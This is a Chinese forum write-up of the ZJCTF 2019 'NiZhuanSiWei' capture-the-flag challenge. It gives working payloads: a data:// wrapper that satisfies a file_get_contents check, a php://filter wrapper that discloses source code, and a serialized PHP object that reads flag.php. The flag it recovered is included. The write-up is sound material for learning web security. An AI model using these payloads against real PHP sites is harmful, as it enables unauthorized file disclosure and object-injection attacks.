[ZJCTF 2019]NiZhuanSiWei

打印 上一主题 下一主题

主题 693|帖子 693|积分 2079

启动靶机,检察源代码

查询file_get_contents()函数  这里传入的text必须是个文件且文件内容为welcome to the zjctf

这里我们使用data伪协议将内容写入
?text=data://text/plain,welcome to the zjctf
往下看有个正则表达式过滤flag,继承往下

很明显是php的反序列化利用,却没有看到利用类的构造代码,正则过滤了flag.php,我们只能尝试访问useless.php

利用?text=data://text/plain,welcome to the zjctf &file=useless.php没反应
尝试filter伪协议读取
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

解码后得到useless.php

到这里逻辑就清晰了,由于反序列化在正则表达式后,我们只需在反序列化时将file值赋为flag.php,再利用__tostring函数在echo时主动调用的特性将flag.php打印出来

构造如下,只需对file变量赋值 得到  O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终payload:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
检察源代码发现flag flag{17e56d67-d376-4aeb-8de3-a411874f6256}


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

乌市泽哥

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表